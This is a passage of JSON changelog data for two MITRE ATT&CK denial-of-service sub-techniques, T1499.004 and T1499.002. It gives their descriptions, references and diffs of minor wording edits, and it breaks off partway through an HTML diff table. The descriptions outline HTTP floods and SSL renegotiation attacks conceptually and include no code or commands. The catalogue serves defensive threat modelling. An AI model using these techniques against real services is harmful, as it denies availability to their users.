                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-20 15:37:27.052000+00:00",
                    "modified": "2026-11-04 00:48:43.082000+00:00",
                    "name": "Application or System Exploitation",
                    "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1499/004",
                            "external_id": "T1499.004"
                        },
                        {
                            "source_name": "Sucuri BIND9 August 2015",
                            "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.",
                            "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "IaaS",
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:48:43.082000+00:00\", \"old_value\": \"2025-10-24 17:48:34.531000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\\n\\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. \", \"old_value\": \"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\\n\\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\\n+Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\\n \\n Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to30__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to30__0\"><a href=\"#difflib_chg_to30__top\">t</a></td><td class=\"diff_header\" id=\"from30_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;exploit&nbsp;software&nbsp;vulnerabilities&nbsp;that&nbsp;can&nbsp;ca</td><td class=\"diff_next\"><a href=\"#difflib_chg_to30__top\">t</a></td><td class=\"diff_header\" id=\"to30_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;exploit&nbsp;software&nbsp;vulnerabilities&nbsp;that&nbsp;can&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;an&nbsp;application&nbsp;or&nbsp;system&nbsp;to&nbsp;crash&nbsp;and&nbsp;deny&nbsp;availability&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;an&nbsp;application&nbsp;or&nbsp;system&nbsp;to&nbsp;crash&nbsp;and&nbsp;deny&nbsp;availability&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;users.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Sucuri&nbsp;BIND9&nbsp;August&nbsp;2015)&nbsp;Some&nbsp;systems&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;users.(Citation:&nbsp;Sucuri&nbsp;BIND9&nbsp;August&nbsp;2015)&nbsp;Some&nbsp;systems&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;automatically&nbsp;restart&nbsp;critical&nbsp;applications&nbsp;and&nbsp;services</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;automatically&nbsp;restart&nbsp;critical&nbsp;applications&nbsp;and&nbsp;services&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;when&nbsp;crashes&nbsp;occur,&nbsp;but&nbsp;they&nbsp;can&nbsp;likely&nbsp;be&nbsp;re-exploited&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">when&nbsp;crashes&nbsp;occur,&nbsp;but&nbsp;they&nbsp;can&nbsp;likely&nbsp;be&nbsp;re-exploited&nbsp;to&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cause&nbsp;a&nbsp;persistent&nbsp;denial&nbsp;of&nbsp;service&nbsp;(DoS)&nbsp;condition.&nbsp;&nbsp;Adver</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ause&nbsp;a&nbsp;persistent&nbsp;denial&nbsp;of&nbsp;service&nbsp;(DoS)&nbsp;condition.&nbsp;&nbsp;Advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;may&nbsp;exploit&nbsp;known&nbsp;or&nbsp;zero-day&nbsp;vulnerabilities&nbsp;to&nbsp;cras</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;exploit&nbsp;known&nbsp;or&nbsp;zero-day&nbsp;vulnerabilities&nbsp;to&nbsp;crash</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;applications&nbsp;and/or&nbsp;systems,&nbsp;which&nbsp;may&nbsp;also&nbsp;lead&nbsp;to&nbsp;depend</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;applications&nbsp;and/or&nbsp;systems,&nbsp;which&nbsp;may&nbsp;also&nbsp;lead&nbsp;to&nbsp;depende</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;applications&nbsp;and/or&nbsp;systems&nbsp;to&nbsp;be&nbsp;in&nbsp;a&nbsp;DoS&nbsp;condition.&nbsp;Cr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;applications&nbsp;and/or&nbsp;systems&nbsp;to&nbsp;be&nbsp;in&nbsp;a&nbsp;DoS&nbsp;condition.&nbsp;Cra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ashed&nbsp;or&nbsp;restarted&nbsp;applications&nbsp;or&nbsp;systems&nbsp;may&nbsp;also&nbsp;have&nbsp;oth</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shed&nbsp;or&nbsp;restarted&nbsp;applications&nbsp;or&nbsp;systems&nbsp;may&nbsp;also&nbsp;have&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;effects&nbsp;such&nbsp;as&nbsp;[Data&nbsp;Destruction](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;effects&nbsp;such&nbsp;as&nbsp;[Data&nbsp;Destruction](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1485),&nbsp;[Firmware&nbsp;Corruption](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1485),&nbsp;[Firmware&nbsp;Corruption](https://attack.mi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1495),&nbsp;[Service&nbsp;Stop](https://attack.mi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1495),&nbsp;[Service&nbsp;Stop](https://attack.mit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1489)&nbsp;etc.&nbsp;which&nbsp;may&nbsp;further&nbsp;cause&nbsp;a&nbsp;DoS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1489)&nbsp;etc.&nbsp;which&nbsp;may&nbsp;further&nbsp;cause&nbsp;a&nbsp;DoS&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;condition&nbsp;and&nbsp;deny&nbsp;availability&nbsp;to&nbsp;critical&nbsp;information,&nbsp;ap</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">condition&nbsp;and&nbsp;deny&nbsp;availability&nbsp;to&nbsp;critical&nbsp;information,&nbsp;app</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plications&nbsp;and/or&nbsp;systems.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lications&nbsp;and/or&nbsp;systems.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0304: Detection Strategy for Endpoint DoS via Application or System Exploitation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-20 15:31:43.613000+00:00",
                    "modified": "2026-11-04 00:01:51.661000+00:00",
                    "name": "Service Exhaustion Flood",
                    "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services; however, others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as an SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes an SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1499/002",
                            "external_id": "T1499.002"
                        },
                        {
                            "source_name": "Arbor SSLDoS April 2012",
                            "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.",
                            "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"
                        },
                        {
                            "source_name": "Cloudflare HTTPflood",
                            "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.",
                            "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/"
                        },
                        {
                            "source_name": "Arbor AnnualDoSreport Jan 2018",
                            "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                            "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "IaaS",
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:01:51.661000+00:00\", \"old_value\": \"2025-10-24 17:48:39.609000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services; however, others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\\n\\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\\n\\nAnother variation, known as an SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes an SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\", \"old_value\": \"Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\\n\\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\\n\\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\\n+Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services; however, others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\\n \\n One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\\n \\n-Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\\n+Another variation, known as an SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes an SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"Cisco DoSdetectNetflow\", \"description\": \"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.\", \"url\": \"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to81__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to81__0\"><a href=\"#difflib_chg_to81__top\">t</a></td><td class=\"diff_header\" id=\"from81_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;target&nbsp;the&nbsp;different&nbsp;network&nbsp;services&nbsp;provid</td><td class=\"diff_next\"><a href=\"#difflib_chg_to81__top\">t</a></td><td class=\"diff_header\" id=\"to81_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;target&nbsp;the&nbsp;different&nbsp;network&nbsp;services&nbsp;provid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;by&nbsp;systems&nbsp;to&nbsp;conduct&nbsp;a&nbsp;denial&nbsp;of&nbsp;service&nbsp;(DoS).&nbsp;Adversar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;by&nbsp;systems&nbsp;to&nbsp;conduct&nbsp;a&nbsp;denial&nbsp;of&nbsp;service&nbsp;(DoS).&nbsp;Adversar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;often&nbsp;target&nbsp;the&nbsp;availability&nbsp;of&nbsp;DNS&nbsp;and&nbsp;web&nbsp;services,&nbsp;<span class=\"diff_chg\">h</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;often&nbsp;target&nbsp;the&nbsp;availability&nbsp;of&nbsp;DNS&nbsp;and&nbsp;web&nbsp;services<span class=\"diff_add\">;&nbsp;h</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">owever&nbsp;others&nbsp;have&nbsp;been&nbsp;targeted&nbsp;as</span>&nbsp;well.(Citation:&nbsp;Arbor&nbsp;An</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">owever</span>,&nbsp;<span class=\"diff_chg\">others&nbsp;have&nbsp;been&nbsp;targeted&nbsp;as</span>&nbsp;well.(Citation:&nbsp;Arbor&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nualDoSreport&nbsp;Jan&nbsp;2018)&nbsp;Web&nbsp;server&nbsp;software&nbsp;can&nbsp;be&nbsp;attacked&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nnualDoSreport&nbsp;Jan&nbsp;2018)&nbsp;Web&nbsp;server&nbsp;software&nbsp;can&nbsp;be&nbsp;attacked</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">through&nbsp;a&nbsp;variety&nbsp;of&nbsp;means,&nbsp;some&nbsp;of&nbsp;which&nbsp;apply&nbsp;generally&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;through&nbsp;a&nbsp;variety&nbsp;of&nbsp;means,&nbsp;some&nbsp;of&nbsp;which&nbsp;apply&nbsp;generally&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;others&nbsp;are&nbsp;specific&nbsp;to&nbsp;the&nbsp;software&nbsp;being&nbsp;used&nbsp;to&nbsp;provid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hile&nbsp;others&nbsp;are&nbsp;specific&nbsp;to&nbsp;the&nbsp;software&nbsp;being&nbsp;used&nbsp;to&nbsp;provi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;service.&nbsp;&nbsp;One&nbsp;example&nbsp;of&nbsp;this&nbsp;type&nbsp;of&nbsp;attack&nbsp;is&nbsp;known&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;the&nbsp;service.&nbsp;&nbsp;One&nbsp;example&nbsp;of&nbsp;this&nbsp;type&nbsp;of&nbsp;attack&nbsp;is&nbsp;known</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;a&nbsp;simple&nbsp;HTTP&nbsp;flood,&nbsp;where&nbsp;an&nbsp;adversary&nbsp;sends&nbsp;a&nbsp;large&nbsp;num</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;a&nbsp;simple&nbsp;HTTP&nbsp;flood,&nbsp;where&nbsp;an&nbsp;adversary&nbsp;sends&nbsp;a&nbsp;large&nbsp;nu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ber&nbsp;of&nbsp;HTTP&nbsp;requests&nbsp;to&nbsp;a&nbsp;web&nbsp;server&nbsp;to&nbsp;overwhelm&nbsp;it&nbsp;and/or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mber&nbsp;of&nbsp;HTTP&nbsp;requests&nbsp;to&nbsp;a&nbsp;web&nbsp;server&nbsp;to&nbsp;overwhelm&nbsp;it&nbsp;and/or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;application&nbsp;that&nbsp;runs&nbsp;on&nbsp;top&nbsp;of&nbsp;it.&nbsp;This&nbsp;flood&nbsp;relies&nbsp;on&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;an&nbsp;application&nbsp;that&nbsp;runs&nbsp;on&nbsp;top&nbsp;of&nbsp;it.&nbsp;This&nbsp;flood&nbsp;relies&nbsp;on</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">raw&nbsp;volume&nbsp;to&nbsp;accomplish&nbsp;the&nbsp;objective,&nbsp;exhausting&nbsp;any&nbsp;of&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;raw&nbsp;volume&nbsp;to&nbsp;accomplish&nbsp;the&nbsp;objective,&nbsp;exhausting&nbsp;any&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;various&nbsp;resources&nbsp;required&nbsp;by&nbsp;the&nbsp;victim&nbsp;software&nbsp;to&nbsp;provi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;various&nbsp;resources&nbsp;required&nbsp;by&nbsp;the&nbsp;victim&nbsp;software&nbsp;to&nbsp;prov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;the&nbsp;service.(Citation:&nbsp;Cloudflare&nbsp;HTTPflood)&nbsp;&nbsp;Another&nbsp;var</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ide&nbsp;the&nbsp;service.(Citation:&nbsp;Cloudflare&nbsp;HTTPflood)&nbsp;&nbsp;Another&nbsp;va</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iation,&nbsp;known&nbsp;as&nbsp;a&nbsp;SSL&nbsp;renegotiation&nbsp;attack,&nbsp;takes&nbsp;advantage</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riation,&nbsp;known&nbsp;as&nbsp;a<span class=\"diff_add\">n</span>&nbsp;SSL&nbsp;renegotiation&nbsp;attack,&nbsp;takes&nbsp;advanta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;a&nbsp;protocol&nbsp;feature&nbsp;in&nbsp;SSL/TLS.&nbsp;The&nbsp;SSL/TLS&nbsp;protocol&nbsp;suit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;of&nbsp;a&nbsp;protocol&nbsp;feature&nbsp;in&nbsp;SSL/TLS.&nbsp;The&nbsp;SSL/TLS&nbsp;protocol&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 